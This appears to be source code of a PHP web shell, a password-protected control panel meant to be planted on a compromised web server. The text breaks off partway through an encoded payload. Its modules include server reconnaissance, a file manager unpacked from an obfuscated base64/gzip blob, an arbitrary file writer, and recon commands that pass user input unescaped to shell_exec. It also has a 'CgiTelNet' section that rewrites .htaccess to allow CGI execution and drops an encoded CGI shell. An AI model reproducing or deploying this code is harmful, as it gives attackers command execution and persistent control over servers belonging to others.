                        	 	function inputLock(status){
                        	 		var inputs = document.getElementsByTagName("input");
                        	 		var buttons = document.getElementsByTagName("button");
                        	 		if(status == true){
                        	 			for(i = 0;i < inputs.length;i++)
                        	 			{
                        	 				inputs[i].disabled = true;
                        	 			}
                        	 			for(i = 0;i < buttons.length;i++)
                        	 			{
                        	 				buttons[i].disabled = true;
                        	 			}
                        	 			document.getElementById("stopInterval").disabled = false;
                        	 		}
                        	 		else{
                        	 			for(i = 0;i < inputs.length;i++)
                        	 			{
                        	 				inputs[i].disabled = false;
                        	 			}
                        	 			for(i = 0;i < buttons.length;i++)
                        	 			{
                        	 				buttons[i].disabled = false;
                        	 			}
                        	 			document.getElementById("stopInterval").disabled = true;
                        	 		}
                        	 	}
                        	 </script>

                        <?php
                                        if (isset($_GET[\'server_info\'])) {
                                        ?>
                                                <center><font color="maroon" size="6" face="Arial">Server Info</font><br><br/>
                                                <button onclick="chkInternetStatus();">Check Internet Connection</button><br><br/>
                                                <script type="text/javascript">
                                                function chkInternetStatus() {
                                                if(navigator.onLine) {
        alert("Hurray! You\'re online!!!");
    } else {
        alert("Oops! You\'re offline. Please check your network connection...else some features might not work well... ");
    }
}
</script> 
                                                <font style="color: red; font-family: cursive; font-size: 130%;">Uname: <?php echo php_uname(); ?></font><br>
                                                <font style="color: silver; font-family: cursive; font-size: 130%;">Browser: <?php echo $_SERVER[\'HTTP_USER_AGENT\']; ?></font><br>
                                                	<font style="color: teal; font-famoly: monospace; font-size: 130%;">Operating System: <?php echo PHP_OS; ?></font><br />
                                                <font style="color: lawngreen; font-family: cursive; font-size: 130%;">Server Software: <?php echo $_SERVER[\'SERVER_SOFTWARE\']; ?> </font><br>
                                                <font style="color: red; font-family: cursive; font-size: 130%;">Server IP: <?php echo $_SERVER[\'SERVER_ADDR\']; ?></font><br>
                                                <font style="color: lawngreen; font-family: cursive; font-size: 130%;">User IP: <?php echo $_SERVER[\'REMOTE_ADDR\']; ?></font><br>
                                                <font style="color: red; font-family: cursive; font-size: 130%;">User: <?php echo @get_current_user(); ?></font><br>
                                                <font style="color: red; font-family: cursive; font-size: 130%;">Safe Mode:&nbsp;<?php $safe_mode = ini_get(\'safe_mode\'); if ($safe_mode == 1) { echo \'<span style="color: red;">On\';} else {echo \'<span style="color: lawngreen;">Off</span>\';}?>
                                                </font><br>
                                                <font style="color: lawngreen; font-family: cursive; font-size: 130%;">Domains: <?php if(strtolower(substr(PHP_OS,0,3)) == "win") {$os = \'win\';}else {$os = \'nix\';}if($os == \'nix\') {$doos = @file_get_contents("/etc/named.conf");if(!$doos) {$DomainS = "/var/named";$Domainonserver = scandir($DomainS);$d0c = count($Domainonserver);} else {@preg_match_all(\'/.*?zone "(.*?)" {/\', $doos, $out);$out = sizeof(array_unique($out[1])); $d0c = $out."  Domains";}} else {$d0c = "1";} echo $d0c; }?>
                                        </center></font></center>
                        <?php
                        if (isset($_GET[\'file_manager\'])) {
                                $file_manager = "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";
                                $writing = @fopen(\'file.php\', "w");
                                @fwrite($writing, htmlspecialchars_decode(gzinflate(base64_decode($file_manager))));
                                @fclose($writing);
                                ?><br><br>
                                <iframe src="file.php" width="100%" height="515"></iframe>
                                <?php
                        }
                        ?>
                        <?php
                              if(isset($_GET[\'ip_lookup\'])) {
                                echo \'
                                <center><br><br><font color="gold" size="7" face="cursive">Ip lookup</font><br><br>
                                  <form action="" method="POST">
                                      <font color="white" face="cursive" size="">Enter Site name: </font>
                                      <input type="text" name="site_name" placeholder="www.google.com" /> <button type="submit" name="ip_lookupaddr" id="button"> </button>

                                  </form>\';
                              }
                              if(isset($_POST[\'ip_lookupaddr\'])) {
                              	$ipaddr = gethostbyname($_POST[\'site_name\']);
                              	$domain = gethostbyaddr($ipaddr);
                              	echo \'<br>\';
                              	echo "<p>IP Address of ". $_POST[\'site_name\'] . " is" . " ".$ipaddr . "</p>";
                              	echo "<p>Domain: ". $domain . "</p>";
                              	echo "<br>";
                              }
                              echo \'</center>\';
                              ?>

                              <?php
                              if (isset($_GET[\'recon\'])) {
                                echo \'
                                <center><br><br><font color="teal" size="7" face="cursive">WHOIS Scan </font><br>
                                <form method="post" action="">
                              	<input value="" placeholder="google.com..." name="target" required/> <button type="submit" id="button" name="submit"> </button>

                              	</form>\';
                              }
                              ?>
                              <?php

                              //ini_set(\'display_errors\', 1);
                              //ini_set(\'display_startup_errors\', 1);
                              //error_reporting(E_ALL);

                              function progress($item) {
                              echo $item;
                              ob_flush();
                              flush();
                              }
                              function url($target) {
                              $find_url = shell_exec("curl -I -L $target | awk \'/Location/{print $2}\'");
                              $res = explode("
", trim($find_url));
                              $url = end($res);
                              if($url) {
                              $result = $url;
                              } else {
                              $result = "http://".$target;
                              }
                              return $result;
                              }
                              function whois($target) {
                              $whois = shell_exec("whois $target");
                              return $whois;
                              }
                              function firewall($url) {
                              $check_firewall = shell_exec("/usr/bin/wafw00f $url");
                              preg_match("/is\sbehind\sa\s(.+?)
/", $check_firewall, $result);
                              if($result[1]) {
                              $firewall = $result[1];
                              } else {
                              $firewall = \'None\';
                              }
                              return $firewall;
                              }
                              function debug($url) {
                              $debug = shell_exec("curl -I $url");
                              return $debug;
                              }
                              function whatweb($url) {
                              $check_stack = shell_exec("whatweb --no-errors $url --log-xml=/var/www/html/ww/tmp/temp.xml");
                              $filepath = "/var/www/html/ww/tmp/temp.xml";
                              $content = utf8_encode(file_get_contents($filepath));
                              $xml = simplexml_load_string($content, \'SimpleXMLElement\', LIBXML_COMPACT | LIBXML_PARSEHUGE);
                              foreach($xml->target as $target) {
                              $array = array();
                              foreach($target->plugin as $key => $data) {
                              $array[] = array(
                              $key => $data
                              );
                              }
                              $res[] = array(
                              \'target\' => $target->uri,
                              \'data\' => $array
                              );
                              }
                              $result = $res;
                              unlink($filepath);
                              return $result;
                              }
                              $target = trim($_POST[\'target\']);
                              $submit = $_POST[\'submit\'];
                              ?>
                              <?php
                              echo \'</center>\';
                               ?>
                              <?php
                              if(!empty($target) && isset($submit)) {
                              echo "<pre>";
                              $url = url($target);
                              progress("<p><b>URL:</b> <a href=\'$url\' target=_blank rel=\'nofollow\'>$url</a></p>");
                              $debug = debug($url);
                              progress("<p>$debug</p><hr>");
                              $whatweb = whatweb($url);
                              foreach($whatweb[0] as $ww) {
                              foreach(array_slice($ww, 1) as $item) {
                              if(isset($item[\'plugin\']->string)) {
                              $val = urldecode($item[\'plugin\']->string);
                              } else {
                              $val = urldecode($item[\'plugin\']->version);
                              }
                              progress("<li><b>".$item[\'plugin\']->name."</b> ".$val."</li>");
                              }
                              }
                              $firewall = firewall($url);
                              progress("<p><b>Firewall detected:</b> $firewall</p><hr>");
                              $whois = whois($target);
                              progress("<p>$whois</p>");
                              echo "</pre>";
                              }
                              ?>

                        <?php
                                if (isset($_GET[\'file_creator\'])) {
                                        ?>
                                        <center><br><br>
                                        <form action="" method="POST">
                                                <font color="white" face="cursive" size="">Filename: </font>
                                                <input type="text" name="file_name" placeholder="File Name Here" /><br><br>
                                                <font color="white" face="cursive" size="">Content: </font><br>
                                                <textarea name="content_of_files" rows="10" cols="90"></textarea><br><br>
                                                <input type="submit" name="submissionoffilecreator" value="Submit" />
                                        </form>
                                        <?php
                                                $filename_in_file_creator = htmlspecialchars($_POST[\'file_name\']);
                                                $contents_of_file = $_POST[\'content_of_files\'];

                                        if (isset($_POST[\'file_name\']) || isset($_POST[\'content_of_files\']) || isset($_POST[\'submissionoffilecreator\'])) {
                                                if (!empty($filename_in_file_creator) || !empty($contents_of_file)) {
                                                $handle = @fopen($filename_in_file_creator, \'w\');
                                                @fwrite($handle, $contents_of_file);
                                                @fclose($handle);
                                                ?><br><br>
                                                <font color="white" face="cursive" size="5">File With Name: <a href="<?php echo $filename_in_file_creator; ?>" target="_blank"><?php echo $filename_in_file_creator; ?></a> is created</font>
                                                <?php
                                                } else {
                                                        ?><br><br>
                                                        <font color="white" face="cursive" size="5">Please Input In All Fields :P</font>
                                                <?php
                                                }
                                        }
                                }
                        ?>
                        <?php
                                if (isset($_GET[\'php_info\'])) {
                                                ?>
                                        <body style="color: black; background-color: #080510;">
                                        <font style="background-color: black; color: black;">
                                        <?php phpinfo(); echo \'<br><br>\';}?>
                                        <?php
                        ?>
                        <?php
                                if (isset($_GET[\'file_creator\'])) {
                                        ?>
                                        <center><br><br>
                                        <form action="" method="POST">
                                                <font color="white" face="cursive" size="">Filename: </font>
                                                <input type="text" name="file_name" placeholder="File Name Here" /><br><br>
                                                <font color="white" face="cursive" size="">Content: </font><br>
                                                <textarea name="content_of_files" rows="10" cols="90"></textarea><br><br>
                                                <input type="submit" name="submissionoffilecreator" value="Submit" />
                                        </form>
                                        <?php
                                                $filename_in_file_creator = $_POST[\'file_name\'];
                                                $contents_of_file = $_POST[\'content_of_files\'];

                                        if (isset($_POST[\'file_name\']) || isset($_POST[\'content_of_files\']) || isset($_POST[\'submissionoffilecreator\'])) {
                                                if (!empty($filename_in_file_creator) || !empty($contents_of_file)) {
                                                $handle = @fopen($filename_in_file_creator, \'w\');
                                                @fwrite($handle, $contents_of_file);
                                                @fclose($handle);
                                                ?><br><br>
                                                <font color="white" face="cursive" size="5">File With Name: <a href="<?php echo $filename_in_file_creator; ?>" target="_blank"><?php echo $filename_in_file_creator; ?></a> is created</font>
                                                <?php
                                                } else {
                                                        ?><br><br>
                                                        <font color="white" face="cursive" size="5">Please Input In All Fields :P</font>
                                                        <?php
                                                                }
                                                        }
                                                }
                                        ?>
                                        <?php
                                                if (isset($_GET[\'cgi_shell\'])) {
                                                         ?>
                                                         <center><br><font style="color: white; font-family: cursive; font-size: 200%;">CgiTelNet</font><br><span class="def">Password: umar</span><br>
                                                        <?php
                                                        @mkdir(\'an0n_cgi\', 0755);
                                                        @chdir(\'an0n_cgi\');
                                                        $kokdosya = ".htaccess";
                                                        $dosya_adi = "$kokdosya";
                                                        $dosya = @fopen($dosya_adi, \'w\');
                                                        $metin = "T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4=";
                                                        @fwrite($dosya, base64_decode($metin));
                                                        @fclose($dosya);
                                                        $cgishellizocin = \'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